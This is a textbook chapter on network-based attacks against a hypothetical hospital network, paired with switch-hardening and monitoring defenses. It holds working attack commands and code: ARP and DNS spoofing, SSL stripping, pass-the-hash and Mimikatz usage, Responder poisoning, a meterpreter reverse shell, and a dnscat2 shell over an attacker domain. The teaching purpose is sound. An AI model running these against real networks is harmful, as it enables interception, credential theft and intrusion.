24 min read

> "The network is the battleground. Every packet that crosses the wire is a potential weapon or a potential target." — Vivek Ramachandran, SecurityTube

Chapter 13: Network-Based Attacks

"The network is the battleground. Every packet that crosses the wire is a potential weapon or a potential target." — Vivek Ramachandran, SecurityTube

Introduction

In Chapter 12, you learned to exploit individual systems using the Metasploit Framework—targeting a specific vulnerability on a specific host to gain access. But modern enterprise networks are ecosystems of interconnected devices, protocols, and trust relationships. Network-based attacks exploit the fundamental mechanisms that allow these devices to communicate, turning the very infrastructure that binds an organization together into an attack vector.

Consider MedSecure Health Systems. Their network carries everything: patient vital signs streaming from bedside monitors, electronic health records flowing between workstations and databases, billing data moving to insurance processors, and administrative email traversing the corporate segment. An attacker who can intercept, redirect, or manipulate this traffic can accomplish far more than one who merely compromises a single endpoint.

This chapter explores the major categories of network-based attacks. You will learn how ARP spoofing allows an attacker to become a silent observer of all local network traffic. You will understand how DNS attacks can redirect users to malicious servers without their knowledge. You will master VLAN hopping techniques that breach network segmentation, and you will practice the lateral movement techniques that allow attackers to spread from a single compromised host throughout an entire enterprise.

Throughout this chapter, every attack technique is paired with its defensive counterpart. As ethical hackers, we break things to understand how to fix them.

⚖️ Legal Note: Network-based attacks affect all devices on the targeted network segment, not just your intended target. Even in authorized testing, these techniques can disrupt production services, cause packet loss, and trigger network outages. Always coordinate with network administrators and conduct these tests during approved maintenance windows. Obtain explicit written authorization that specifically covers network-level attacks.


13.1 ARP Spoofing and Cache Poisoning

13.1.1 Understanding ARP

The Address Resolution Protocol (ARP) is a Layer 2 protocol that maps IP addresses (Layer 3) to MAC addresses (Layer 2). When a device on a local network needs to communicate with another device, it must know the destination's MAC address. ARP provides this mapping.

Here is how normal ARP works:

  1. Host A wants to send a packet to Host B (10.10.10.100) on the same subnet.
  2. Host A checks its ARP cache. If no entry exists for 10.10.10.100, it broadcasts an ARP Request: "Who has 10.10.10.100? Tell 10.10.10.5."
  3. Host B receives the broadcast and sends an ARP Reply (unicast): "10.10.10.100 is at MAC 00:11:22:33:44:55."
  4. Host A caches this mapping and sends the packet to the correct MAC address.

The critical vulnerability in ARP is that it is a stateless, unauthenticated protocol. Any device on the local network can send ARP replies at any time, even without a prior request, and most operating systems will accept and cache these unsolicited replies without question. This is the foundation of ARP spoofing.

13.1.2 How ARP Spoofing Works

In an ARP spoofing attack (also called ARP cache poisoning), the attacker sends forged ARP replies to associate their MAC address with the IP address of another host—typically the default gateway. Once the victim's ARP cache is poisoned:

  1. Attacker sends crafted ARP replies to Victim: "10.10.10.1 (the gateway) is at MAC AA:BB:CC:DD:EE:FF (attacker's MAC)."
  2. Attacker simultaneously sends crafted ARP replies to the Gateway: "10.10.10.50 (the victim) is at MAC AA:BB:CC:DD:EE:FF (attacker's MAC)."
  3. Both the victim and the gateway now associate each other's IP address with the attacker's MAC address.
  4. All traffic between the victim and the gateway flows through the attacker, who can inspect, modify, or drop packets before forwarding them.

This creates a classic Man-in-the-Middle (MITM) position. The attacker must forward packets between the victim and gateway to maintain the illusion of normal connectivity; otherwise, the victim loses network access and the attack becomes obvious.

Normal Traffic Flow:
[Victim] -----> [Gateway] -----> [Internet]

After ARP Spoofing:
[Victim] -----> [Attacker] -----> [Gateway] -----> [Internet]
                    |
                    v
              [Packet Capture/
               Modification]

13.1.3 ARP Spoofing with Scapy

Scapy, the powerful Python packet crafting library, makes ARP spoofing straightforward in a lab environment:

#!/usr/bin/env python3
"""
ARP Spoofing Demonstration — AUTHORIZED TESTING ONLY
This script is for educational purposes in controlled lab environments.
"""

from scapy.all import Ether, ARP, sendp, srp, get_if_hwaddr, conf
import time
import sys

def get_mac(ip, iface):
    """Resolve IP address to MAC address using ARP."""
    ans, _ = srp(
        Ether(dst="ff:ff:ff:ff:ff:ff") / ARP(pdst=ip),
        timeout=2, iface=iface, verbose=False
    )
    if ans:
        return ans[0][1].hwsrc
    return None

def spoof(target_ip, spoof_ip, target_mac, iface):
    """Send a spoofed ARP reply."""
    packet = Ether(dst=target_mac) / ARP(
        op=2,              # ARP Reply
        pdst=target_ip,    # Victim IP
        hwdst=target_mac,  # Victim MAC
        psrc=spoof_ip      # IP we're impersonating
        # hwsrc defaults to our MAC
    )
    sendp(packet, iface=iface, verbose=False)

def restore(target_ip, gateway_ip, target_mac, gateway_mac, iface):
    """Restore the original ARP tables."""
    packet = Ether(dst=target_mac) / ARP(
        op=2,
        pdst=target_ip,
        hwdst=target_mac,
        psrc=gateway_ip,
        hwsrc=gateway_mac
    )
    sendp(packet, count=5, iface=iface, verbose=False)

13.1.4 Practical Tools for ARP Spoofing

Beyond Scapy, several tools automate ARP spoofing:

arpspoof (from dsniff suite):

# Enable IP forwarding (Linux)
echo 1 > /proc/sys/net/ipv4/ip_forward

# Spoof the gateway for the victim
arpspoof -i eth0 -t 10.10.10.50 10.10.10.1

# In another terminal, spoof the victim for the gateway
arpspoof -i eth0 -t 10.10.10.1 10.10.10.50

Ettercap (comprehensive MITM framework):

# Graphical mode
ettercap -G

# Text mode — ARP poisoning between target and gateway
ettercap -T -M arp:remote /10.10.10.50// /10.10.10.1//

Bettercap (modern, extensible framework):

bettercap -iface eth0

# Within bettercap:
> net.probe on
> set arp.spoof.targets 10.10.10.50
> arp.spoof on
> net.sniff on

13.1.5 ARP Spoofing Against MedSecure

In the MedSecure scenario, ARP spoofing on the clinical network segment could allow an attacker to:

  • Intercept unencrypted HL7 (Health Level 7) messages between medical devices and the EHR system, potentially capturing patient data
  • Capture DICOM (Digital Imaging and Communications in Medicine) transfers between imaging equipment and PACS (Picture Archiving and Communication System) servers
  • Intercept authentication credentials for clinical applications that still use HTTP
  • Modify medication orders in transit (a terrifying but real possibility with unencrypted protocols)

⚖️ Legal Note: ARP spoofing in a healthcare environment carries extreme risk. Disrupted network connectivity could affect patient monitoring systems, medication dispensing, and emergency communications. This technique should ONLY be used in isolated lab replicas of the clinical network, never on production clinical segments, unless under extraordinary circumstances with full clinical team standby.

13.1.6 Defenses Against ARP Spoofing

🔵 Blue Team Perspective: ARP spoofing is one of the oldest network attacks, and robust defenses exist:

  • Dynamic ARP Inspection (DAI) — A switch-level security feature that validates ARP packets against a trusted binding table (DHCP snooping table). Untrusted ARP replies are dropped.
  • DHCP Snooping — Creates a binding table of IP-to-MAC-to-port mappings from legitimate DHCP transactions. DAI uses this table for validation.
  • Static ARP entries — For critical systems (like the default gateway), static ARP entries prevent poisoning. On Windows: arp -s 10.10.10.1 00-11-22-33-44-55. On Linux: arp -s 10.10.10.1 00:11:22:33:44:55.
  • Port Security — Limits the number of MAC addresses per switch port, preventing an attacker from claiming multiple IP addresses.
  • 802.1X Port-Based Authentication — Requires devices to authenticate before gaining network access, preventing unauthorized devices from performing attacks.
  • ARP monitoring tools — Tools like arpwatch and XArp detect ARP table changes and alert on suspicious activity.

For MedSecure, all clinical network switches should have DAI and DHCP snooping enabled, with static ARP entries for all medical device gateways.


13.2 Man-in-the-Middle (MITM) Attacks

13.2.1 Beyond ARP: MITM Techniques

ARP spoofing is the most common method for establishing a MITM position on a local network, but it is not the only one. MITM attacks can be established through multiple vectors:

  • ARP Spoofing — As described above; effective on local network segments.
  • DNS Spoofing — Redirecting domain name resolution to attacker-controlled IPs (covered in Section 13.3).
  • DHCP Spoofing — Setting up a rogue DHCP server that assigns the attacker's IP as the default gateway.
  • ICMP Redirect — Sending forged ICMP redirect messages to reroute traffic through the attacker.
  • BGP Hijacking — At the Internet scale, manipulating Border Gateway Protocol routing to redirect traffic.
  • SSL/TLS Stripping — Downgrading HTTPS connections to HTTP, allowing plaintext interception.
  • Evil Twin Wi-Fi — Creating a fake wireless access point that mimics a legitimate one.

13.2.2 What Can an Attacker Do in the Middle?

Once in a MITM position, the attacker has several capabilities:

Passive Interception (Sniffing): - Capture unencrypted credentials (HTTP Basic Auth, FTP, Telnet, SMTP) - Read unencrypted email content - Capture file transfers - Monitor browsing activity - Harvest session cookies

Active Manipulation: - Inject malicious content into web pages (e.g., JavaScript keyloggers, exploit kit redirects) - Modify file downloads to include malware - Alter DNS responses on-the-fly - Downgrade encryption (SSL stripping) - Hijack authenticated sessions using stolen cookies - Modify API responses to change application behavior

13.2.3 SSL Stripping

SSL stripping, first demonstrated by Moxie Marlinspike at Black Hat DC 2009 with his tool sslstrip, exploits the fact that users rarely type https:// explicitly. When a user navigates to http://bank.com, the server typically redirects them to https://bank.com. An attacker in a MITM position can intercept the redirect, maintain an HTTPS connection to the bank on the victim's behalf, and present the content to the victim over HTTP.

Normal flow:
[User] --HTTP--> [Bank] --301 Redirect--> [User] --HTTPS--> [Bank]

With SSL stripping:
[User] --HTTP--> [Attacker] --HTTPS--> [Bank]
                     |
                     v
              Content delivered
              to user over HTTP
              (credentials visible
               to attacker)

Using Bettercap for SSL stripping:

bettercap -iface eth0

> set arp.spoof.targets 10.10.10.50
> arp.spoof on
> set http.proxy.sslstrip true
> http.proxy on
> net.sniff on

13.2.4 HSTS Bypass Challenges

HTTP Strict Transport Security (HSTS) was specifically designed to defeat SSL stripping. When a browser visits an HSTS-enabled site, it records that the site must always be accessed over HTTPS. Subsequent visits will use HTTPS directly, never passing through HTTP—making SSL stripping impossible for that domain.

HSTS can be preloaded into browsers, meaning the browser knows to use HTTPS for certain domains even before the first visit. Major sites like Google, Facebook, and banking institutions are on HSTS preload lists.

However, HSTS has limitations that attackers can sometimes exploit:

  • HSTS is per-domain—subdomains may not be protected unless includeSubDomains is specified
  • First visit to a non-preloaded site is still vulnerable (TOFU—Trust On First Use)
  • HSTS headers only work if the initial HTTPS connection succeeds—DNS-based redirects to a different domain can bypass this

Tools like sslstrip2 and dns2proxy attempt HSTS bypass by redirecting to similarly-named domains (e.g., wwww.bank.com instead of www.bank.com), though modern browsers have become increasingly resistant to these techniques.

🔵 Blue Team Perspective: Enable HSTS on all web applications with includeSubDomains and preload directives. Submit your domains to the HSTS preload list (hstspreload.org). Set a long max-age value (at least one year). Monitor for certificate transparency logs to detect potential MITM certificates. Implement HPKP successor mechanisms like Certificate Transparency Expect-CT headers.

13.2.5 MITM Against MedSecure

In the MedSecure environment, MITM attacks are particularly dangerous because many healthcare protocols lack encryption:

  • HL7v2 messages (the most widely used healthcare messaging standard) are transmitted in plaintext by default
  • DICOM transfers between imaging equipment and PACS servers are often unencrypted
  • Many legacy medical devices use HTTP-based management interfaces
  • Telnet is still used to manage some network infrastructure devices
  • Internal clinical applications may use unencrypted database connections

An attacker performing MITM on the clinical VLAN could silently capture patient names, medical record numbers, diagnoses, medications, and lab results. This constitutes a HIPAA breach of catastrophic proportions.


13.3 DNS Attacks

13.3.1 DNS Fundamentals and Attack Surface

The Domain Name System (DNS) is often described as the "phone book of the Internet." It translates human-readable domain names (like medsecure-ehr.local) into IP addresses (like 10.10.10.80). DNS is critical infrastructure—when it fails or is subverted, users cannot reach their intended destinations.

DNS presents a rich attack surface because:

  • It was designed without security — The original DNS protocol (RFC 1035, 1987) includes no authentication or integrity verification.
  • It uses UDP — Most DNS queries use UDP, which is trivially spoofable since there is no handshake.
  • It is hierarchical — Compromising a single DNS server can affect all clients that rely on it.
  • It is trusted — Applications, operating systems, and users inherently trust DNS responses.
  • It is ubiquitous — DNS traffic is allowed through virtually every firewall.

13.3.2 DNS Spoofing (Response Forgery)

DNS spoofing involves sending forged DNS responses to redirect a victim's traffic. This can be accomplished from a MITM position or by racing the legitimate DNS server to respond first.

From a MITM position (simplest): When the victim sends a DNS query, the attacker intercepts it and returns a forged response with the attacker's IP address.

Using Ettercap's DNS spoofing plugin:

First, create a DNS spoofing configuration file:

# /etc/ettercap/etter.dns
medsecure-ehr.local     A   10.10.10.5    # Redirect EHR to attacker
*.medsecure.local       A   10.10.10.5    # Redirect all subdomains

Then activate DNS spoofing:

ettercap -T -M arp:remote -P dns_spoof /10.10.10.50// /10.10.10.1//

Using Bettercap:

bettercap -iface eth0

> set dns.spoof.domains medsecure-ehr.local
> set dns.spoof.address 10.10.10.5
> dns.spoof on
> arp.spoof on

13.3.3 DNS Cache Poisoning

DNS cache poisoning targets the DNS resolver (server) rather than the individual client. If successful, every client using that resolver receives the poisoned response.

The classic attack, demonstrated by Dan Kaminsky in 2008, exploits the fact that DNS resolvers accept responses that match the query's transaction ID (a 16-bit number). By flooding the resolver with thousands of forged responses with different transaction IDs while simultaneously triggering a query for the target domain, the attacker can race the legitimate authoritative server.

Attack Flow:
1. Attacker sends many queries for random.medsecure.local to the resolver
2. Resolver queries the authoritative server for medsecure.local
3. Attacker floods the resolver with forged responses claiming to be the
   authoritative server, each with a different transaction ID
4. If one forged response matches the transaction ID before the real
   response arrives, the resolver caches the poisoned entry
5. All subsequent queries for medsecure.local return the attacker's IP

The Kaminsky attack additionally attempted to poison the NS (Name Server) records, not just individual A records, giving the attacker control over an entire domain's resolution.

Defenses against cache poisoning: - Source port randomization — Using random source ports for DNS queries exponentially increases the difficulty of guessing the correct transaction ID + port combination. - DNSSEC — Digitally signs DNS records, allowing resolvers to verify their authenticity. - DNS-over-HTTPS (DoH) and DNS-over-TLS (DoT) — Encrypt DNS traffic, preventing interception and spoofing.

13.3.4 DNS Tunneling

DNS tunneling is a data exfiltration technique that encodes data within DNS queries and responses. Because DNS traffic is almost universally allowed through firewalls, it provides a covert channel for extracting data from highly restricted networks.

How DNS tunneling works:

  1. The attacker registers a domain (e.g., evil-tunnel.com) and sets up an authoritative DNS server for it.
  2. On the compromised system inside the target network, the attacker's tool encodes data into DNS queries: SENSITIVE-DATA-ENCODED.evil-tunnel.com
  3. The DNS query travels through the organization's DNS resolver, through the firewall (DNS is allowed), and reaches the attacker's authoritative server.
  4. The attacker's server decodes the data from the query and sends a response (which can also carry data back to the compromised system).

Common DNS tunneling tools: - dnscat2 — Creates an encrypted C2 channel over DNS - iodine — Creates IP-over-DNS tunnels - dns2tcp — Tunnels TCP connections over DNS

# Server side (attacker)
dnscat2-server evil-tunnel.com

# Client side (compromised system)
dnscat2 evil-tunnel.com

# Once connected, you have an encrypted shell
dnscat2> session -i 1
command (victim01) > shell

For MedSecure, DNS tunneling could allow an attacker to exfiltrate patient data even through firewalls that block all other outbound traffic—the DNS queries simply look like normal name resolution to the firewall.

🔵 Blue Team Perspective: Detect DNS tunneling by monitoring for these indicators: - Unusually long DNS queries (legitimate queries rarely exceed 50 characters; tunneling queries can be much longer) - High volume of DNS queries to a single domain - Queries for unusual record types (TXT, NULL, CNAME used for tunneling) - DNS queries with high entropy in the subdomain portion - DNS traffic to non-standard resolvers (bypassing corporate DNS)

Deploy DNS monitoring tools like passivedns, Zeek DNS logging, or commercial DNS security solutions (Cisco Umbrella, Infoblox). Implement DNS query logging on all resolvers and feed logs to your SIEM.

13.3.5 DNS Hijacking and Rebinding

DNS Hijacking involves compromising DNS infrastructure itself—the registrar account, the authoritative DNS server, or the recursive resolver. Notable real-world examples include the DNSpionage campaign (2018-2019) attributed to Iranian state actors, which compromised DNS registrar accounts to redirect email and VPN traffic for government agencies and telecommunications companies.

DNS Rebinding is a clever technique that bypasses the browser's same-origin policy. The attacker controls a domain that initially resolves to the attacker's server, which serves malicious JavaScript. The DNS record is then changed to point to an internal IP address (e.g., 192.168.1.1), causing the victim's browser to send requests to internal resources using the attacker's domain—which the browser considers same-origin.

This technique can be used to attack IoT devices, routers, and internal web applications from outside the network, using the victim's browser as a proxy.


13.4 VLAN Hopping and Layer 2 Attacks

13.4.1 Understanding VLANs

Virtual LANs (VLANs) segment a physical network into logical broadcast domains. In a properly configured network, devices on different VLANs cannot communicate directly—traffic must pass through a router or Layer 3 switch that can enforce access control policies.

MedSecure's network might be segmented as follows:

VLAN Name Purpose Subnet
10 Clinical Medical devices, EHR workstations 10.10.10.0/24
20 Admin Administrative systems, email 10.10.20.0/24
30 Guest Patient/visitor Wi-Fi 10.10.30.0/24
40 Server Servers, databases 10.10.40.0/24
50 Management Switch/router management 10.10.50.0/24

An attacker on VLAN 30 (Guest) should not be able to access VLAN 10 (Clinical) or VLAN 40 (Server). VLAN hopping attacks attempt to breach this segmentation.

13.4.2 Switch Spoofing

In switch spoofing, the attacker configures their network interface to act as a trunk port by sending Dynamic Trunking Protocol (DTP) negotiation frames. If the switch port is set to the default "dynamic desirable" or "dynamic auto" mode, it will negotiate a trunk link with the attacker, granting access to all VLANs.

# Using Yersinia to send DTP frames
yersinia dtp -attack 1 -interface eth0

Once a trunk is established, the attacker can tag their frames with any VLAN ID to access any VLAN on the switch.

Defense: Disable DTP on all access ports and explicitly configure trunk ports:

! Cisco IOS — on all access ports
switchport mode access
switchport nonegotiate

! On trunk ports — explicitly allow only needed VLANs
switchport mode trunk
switchport trunk allowed vlan 10,40
switchport nonegotiate

13.4.3 Double Tagging

Double tagging exploits the way 802.1Q trunks process VLAN tags. The attacker sends a frame with two VLAN tags. The first (outer) tag matches the native VLAN—the switch strips this tag and forwards the frame. The inner tag now becomes the only tag, causing the frame to be forwarded to the target VLAN.

Attacker Frame:
[Outer Tag: VLAN 1 (Native)] [Inner Tag: VLAN 40 (Server)] [Data]
        |                              |
        v                              v
   Switch strips                 Frame forwarded
   the outer tag                 to VLAN 40

Limitations:
- Only works in one direction (attacker -> target)
- Native VLAN of the trunk must match the attacker's access VLAN
- Cannot receive responses

Defense: Never use the default VLAN (VLAN 1) as the native VLAN. Assign an unused VLAN as the native VLAN and explicitly tag all traffic:

! Cisco IOS
switchport trunk native vlan 999
vlan dot1q tag native

13.4.4 CAM Table Overflow (MAC Flooding)

Switches maintain a Content Addressable Memory (CAM) table that maps MAC addresses to physical ports. This table has a finite size. By flooding the switch with frames from thousands of random MAC addresses, an attacker can fill the CAM table. When full, the switch degrades to hub-like behavior, broadcasting all frames to all ports—allowing the attacker to sniff traffic destined for other hosts.

# Using macof (from dsniff suite)
macof -i eth0 -n 100000

Defense: Enable port security to limit the number of MAC addresses per port:

! Cisco IOS
switchport port-security
switchport port-security maximum 2
switchport port-security violation shutdown
switchport port-security aging time 60

13.4.5 STP Attacks

The Spanning Tree Protocol (STP) prevents loops in networks with redundant links. An attacker can send Bridge Protocol Data Units (BPDUs) with a priority lower than the current root bridge, causing the switch topology to reconverge with the attacker's system as the root bridge. This allows the attacker to intercept traffic that would normally take other paths.

# Using Yersinia for STP attacks
yersinia stp -attack 4 -interface eth0

Defense:

! Enable BPDU Guard on all access ports
spanning-tree portfast
spanning-tree bpduguard enable

! Enable Root Guard on ports that should never become root
spanning-tree guard root

🔵 Blue Team Perspective: Layer 2 security is often overlooked because it requires switch-level configuration that many organizations never implement. For MedSecure, every access port should have: - Port Security (limit MAC addresses) - DHCP Snooping (prevent rogue DHCP) - Dynamic ARP Inspection (prevent ARP spoofing) - BPDU Guard (prevent STP attacks) - DTP disabled (prevent VLAN hopping) - Unused ports administratively disabled - All ports assigned to specific VLANs (never left on VLAN 1)

These controls form the foundation of "Layer 2 hardening" and should be standard on all enterprise switches.


13.5 Lateral Movement Techniques

13.5.1 What Is Lateral Movement?

Lateral movement describes the techniques an attacker uses to expand access from an initially compromised system to other systems within the network. In the MITRE ATT&CK framework, lateral movement is a distinct tactic (TA0008) with numerous techniques.

In the MedSecure scenario, consider this progression: 1. Attacker phishes a receptionist, gaining access to their workstation (VLAN 20) 2. Attacker extracts cached credentials from the workstation 3. Using those credentials, attacker moves laterally to a file server (VLAN 40) 4. From the file server, attacker discovers service account credentials 5. Using the service account, attacker accesses the domain controller 6. With domain admin access, attacker reaches the EHR database (VLAN 10)

Each step is lateral movement—expanding the attacker's foothold deeper into the network.

13.5.2 SMB-Based Lateral Movement

Server Message Block (SMB) is the primary file sharing protocol in Windows environments. It is also one of the most commonly exploited protocols for lateral movement.

PsExec / SMBExec: PsExec and its variants create a service on the remote system, upload an executable, and execute it. This requires administrative credentials on the target.

# Using Impacket's psexec.py
psexec.py MEDSECURE/admin:P@ssw0rd@10.10.10.70

# Using Impacket's smbexec.py (stealthier — uses cmd.exe service)
smbexec.py MEDSECURE/admin:P@ssw0rd@10.10.10.70

# Pass-the-hash variant (no plaintext password needed)
psexec.py MEDSECURE/admin@10.10.10.70 -hashes aad3b435b51404eeaad3b435b51404ee:fc525c9683e8fe067095ba2ddc971889

In Metasploit:

msf6 > use exploit/windows/smb/psexec
msf6 exploit(windows/smb/psexec) > set RHOSTS 10.10.10.70
msf6 exploit(windows/smb/psexec) > set SMBUser admin
msf6 exploit(windows/smb/psexec) > set SMBPass P@ssw0rd
msf6 exploit(windows/smb/psexec) > set SMBDomain MEDSECURE
msf6 exploit(windows/smb/psexec) > set payload windows/x64/meterpreter/reverse_tcp
msf6 exploit(windows/smb/psexec) > exploit

13.5.3 WMI-Based Lateral Movement

Windows Management Instrumentation (WMI) allows remote administration and provides another avenue for lateral movement. WMI-based attacks are often preferred because they leave fewer artifacts than PsExec.

# Using Impacket's wmiexec.py
wmiexec.py MEDSECURE/admin:P@ssw0rd@10.10.10.70

# With pass-the-hash
wmiexec.py MEDSECURE/admin@10.10.10.70 -hashes aad3b435b51404eeaad3b435b51404ee:fc525c9683e8fe067095ba2ddc971889
# Native PowerShell remoting via WMI
Invoke-WmiMethod -Class Win32_Process -Name Create -ArgumentList "cmd.exe /c whoami > C:\temp\output.txt" -ComputerName 10.10.10.70 -Credential MEDSECURE\admin

13.5.4 WinRM and PowerShell Remoting

Windows Remote Management (WinRM) enables PowerShell remoting, a legitimate administration feature that attackers frequently abuse:

# Enter an interactive PowerShell session on a remote host
Enter-PSSession -ComputerName FILE01 -Credential MEDSECURE\admin

# Execute commands remotely
Invoke-Command -ComputerName FILE01,DC01,WEB01 -ScriptBlock { Get-Process } -Credential MEDSECURE\admin

With Evil-WinRM (popular pentesting tool):

evil-winrm -i 10.10.10.70 -u admin -p 'P@ssw0rd' -s /scripts/ -e /executables/

13.5.5 Pass-the-Hash and Pass-the-Ticket

These techniques allow lateral movement using stolen credential material without knowing the plaintext password.

Pass-the-Hash (PtH): Uses the NTLM hash directly for authentication. NTLM authentication uses a challenge-response mechanism where knowledge of the hash is sufficient—the plaintext password is never transmitted.

# Using CrackMapExec
crackmapexec smb 10.10.10.0/24 -u admin -H fc525c9683e8fe067095ba2ddc971889

# Using Impacket
wmiexec.py -hashes :fc525c9683e8fe067095ba2ddc971889 MEDSECURE/admin@10.10.10.70

Pass-the-Ticket (PtT): Uses stolen Kerberos tickets for authentication. This is particularly powerful with Kerberos TGTs (Ticket Granting Tickets):

# Using Mimikatz to export tickets
mimikatz # sekurlsa::tickets /export

# Inject a ticket into the current session
mimikatz # kerberos::ptt ticket.kirbi

Overpass-the-Hash: Converts an NTLM hash into a Kerberos ticket, combining the ease of PtH with the functionality of PtT:

# Using Mimikatz
mimikatz # sekurlsa::pth /user:admin /domain:MEDSECURE /ntlm:fc525c9683e8fe067095ba2ddc971889 /run:powershell

13.5.6 RDP-Based Lateral Movement

Remote Desktop Protocol (RDP) provides full graphical access to Windows systems. Attackers use RDP for lateral movement because it is a legitimate tool that blends with normal administration:

# Standard RDP connection
xfreerdp /v:10.10.10.70 /u:admin /p:'P@ssw0rd' /d:MEDSECURE

# RDP with pass-the-hash (Restricted Admin mode required)
xfreerdp /v:10.10.10.70 /u:admin /pth:fc525c9683e8fe067095ba2ddc971889 /d:MEDSECURE

RDP Hijacking — On a compromised system with SYSTEM privileges, an attacker can hijack existing RDP sessions without knowing the user's password:

# List active sessions
query user

# Hijack session (requires SYSTEM)
tscon <session_id> /dest:console

13.5.7 SSH-Based Lateral Movement

In Linux/Unix environments, SSH is the primary vector for lateral movement:

# Using stolen credentials
ssh admin@10.10.10.60

# Using stolen SSH private keys
ssh -i stolen_key.pem admin@10.10.10.60

# SSH agent forwarding abuse
# If the compromised user has agent forwarding enabled:
SSH_AUTH_SOCK=/tmp/ssh-XXXXXX/agent.12345 ssh admin@internal-server

🔵 Blue Team Perspective: Detecting lateral movement requires monitoring for: - Authentication anomalies — A user account authenticating from unusual systems (e.g., the receptionist's account logging into the file server at 2 AM) - New service installations — PsExec creates a temporary service; monitor for Service Creation events (Windows Event ID 7045) - Unusual process execution — WMI-based attacks create processes through WmiPrvSE.exe; monitor for suspicious child processes - RDP connections — Monitor Event ID 4624 (logon type 10 for RDP) for unusual source IPs or times - Kerberos anomalies — Monitor for pass-the-ticket attacks by looking for TGS requests without corresponding TGT requests

Deploy a User and Entity Behavior Analytics (UEBA) solution to baseline normal authentication patterns and detect deviations. Implement the principle of least privilege aggressively—service accounts should only access the systems they need.


13.6 Traffic Interception and Manipulation

13.6.1 Packet Sniffing

Once in a MITM position (or on a hub-based network or mirrored/SPAN port), packet capture tools allow detailed traffic analysis:

Tcpdump:

# Capture all traffic on eth0
tcpdump -i eth0 -w capture.pcap

# Capture only HTTP traffic
tcpdump -i eth0 port 80 -w http_capture.pcap

# Capture traffic to/from specific host
tcpdump -i eth0 host 10.10.10.50 -w target_capture.pcap

# Display captured credentials (HTTP POST data)
tcpdump -i eth0 -A -s 0 'tcp port 80 and (((ip[2:2] - ((ip[0]&0xf)<<2)) - ((tcp[12]&0xf0)>>2)) != 0)'

Wireshark:

# Start Wireshark with a capture filter
wireshark -i eth0 -f "host 10.10.10.50" -k

# Apply display filter for HTTP credentials
http.request.method == "POST"

# Filter for SMB authentication
ntlmssp.messagetype == 0x00000003

13.6.2 Credential Sniffing

Specific tools are designed to extract credentials from captured traffic:

Responder — Poisons LLMNR, NBT-NS, and MDNS to capture NTLM hashes:

responder -I eth0 -wrf

# Captured hashes appear in the console and are saved to logs
[+] Listening for events...
[*] [LLMNR]  Poisoned answer sent to 10.10.10.50 for name fileserver01
[SMB] NTLMv2-SSP Client   : 10.10.10.50
[SMB] NTLMv2-SSP Username : MEDSECURE\jsmith
[SMB] NTLMv2-SSP Hash     : jsmith::MEDSECURE:1122334455667788:A1B2C3D4E5...

⚖️ Legal Note: Responder actively poisons name resolution and can intercept credentials from any device on the network segment. This can disrupt normal network operations and capture credentials from systems outside your authorized scope. Use with extreme caution and explicit authorization.

net-creds:

# Passive credential sniffing
net-creds -i eth0

# Will display HTTP credentials, FTP credentials, HTTP Basic Auth,
# NTLM hashes, and more

13.6.3 Session Hijacking

Rather than capturing passwords, session hijacking steals active sessions by capturing session tokens:

Cookie theft via MITM: When intercepting HTTP traffic, session cookies are visible in Cookie headers. These can be injected into the attacker's browser to assume the victim's session.

# Using Ferret and Hamster (classic tools)
ferret -i eth0
hamster

# Using Bettercap
bettercap -iface eth0
> http.proxy on
> set http.proxy.script cookie-stealer.js

13.6.4 Packet Injection

Beyond passive interception, an attacker in a MITM position can inject or modify packets:

# Using Scapy to inject an HTTP response
from scapy.all import *

def inject_response(pkt):
    if pkt.haslayer(TCP) and pkt.haslayer(Raw):
        if b"HTTP/1.1 200" in pkt[Raw].load:
            # Inject JavaScript into HTML responses
            modified = pkt[Raw].load.replace(
                b"</body>",
                b"<script>alert('Injected!')</script></body>"
            )
            # Recalculate lengths and checksums
            # (simplified for illustration)
            pkt[Raw].load = modified
            del pkt[IP].len
            del pkt[IP].chksum
            del pkt[TCP].chksum
            sendp(pkt)

sniff(iface="eth0", prn=inject_response, filter="tcp port 80")

🔵 Blue Team Perspective: The best defense against traffic interception is encryption everywhere: - TLS/HTTPS for all web traffic (internal and external) - IPsec for sensitive internal communications - 802.1X with WPA3 for wireless - Encrypted protocols — SSH instead of Telnet, SFTP instead of FTP, IMAPS instead of IMAP - Network segmentation with microsegmentation where possible - Encrypted medical protocols — TLS-wrapped HL7v2, DICOM TLS, FHIR over HTTPS

Additionally, deploy network taps and SPAN ports to your own monitoring infrastructure, running intrusion detection systems that can identify MITM indicators.


13.7 Wireless Network Attacks

13.7.1 Wireless Attack Surface

While wireless attacks are covered in greater depth in a dedicated chapter, several wireless network attacks directly relate to the network-based attacks discussed here:

Evil Twin / Rogue Access Point: An attacker sets up a wireless access point that mimics a legitimate one. When users connect to the evil twin, all their traffic passes through the attacker—a wireless MITM attack.

# Using hostapd-mana for evil twin
# Create configuration file
cat > mana.conf << EOF
interface=wlan0
driver=nl80211
ssid=MedSecure-Guest
channel=6
hw_mode=g
wpa=2
wpa_passphrase=GuestWifi2026
wpa_key_mgmt=WPA-PSK
EOF

hostapd-mana mana.conf

KARMA Attack: A more aggressive variant where the rogue AP responds to ALL probe requests from client devices, impersonating whatever network the client is looking for. If a MedSecure employee's phone is probing for "MedSecure-Staff", the KARMA AP responds as if it is "MedSecure-Staff."

Deauthentication Attacks: Sending forged deauthentication frames to force clients off the legitimate AP, hoping they reconnect to the evil twin:

# Using aireplay-ng
aireplay-ng -0 10 -a AA:BB:CC:DD:EE:FF -c 11:22:33:44:55:66 wlan0mon

13.7.2 Wi-Fi in Healthcare

MedSecure's wireless network is particularly sensitive. Many modern medical devices connect via Wi-Fi: - Wireless patient monitors - Mobile EHR workstations on wheels (WOWs) - Infusion pumps with network connectivity - Medical staff smartphones with clinical apps

An attacker who compromises the clinical Wi-Fi network could potentially intercept medical data, inject false patient data, or disrupt wireless medical devices.

🔵 Blue Team Perspective: Healthcare wireless security requires: - WPA3-Enterprise with 802.1X authentication using certificates (not pre-shared keys) - Wireless IDS (WIDS) to detect rogue access points and deauthentication attacks - Client isolation on guest networks to prevent patient/visitor devices from communicating with each other - Separate SSIDs for clinical devices, corporate devices, and guest access - MAC address authentication as an additional layer for medical devices (not as the sole control) - Regular wireless assessments to detect unauthorized access points


13.8 Detection and Defense Strategies

13.8.1 Network Monitoring Architecture

A comprehensive defense against network-based attacks requires monitoring at multiple layers:

Layer 2 Monitoring: - Switch port security logs - DAI (Dynamic ARP Inspection) violations - DHCP snooping alerts - STP topology change notifications

Layer 3-4 Monitoring: - Intrusion Detection Systems (Snort, Suricata, Zeek) - NetFlow/IPFIX analysis - Firewall logs - DNS query logging

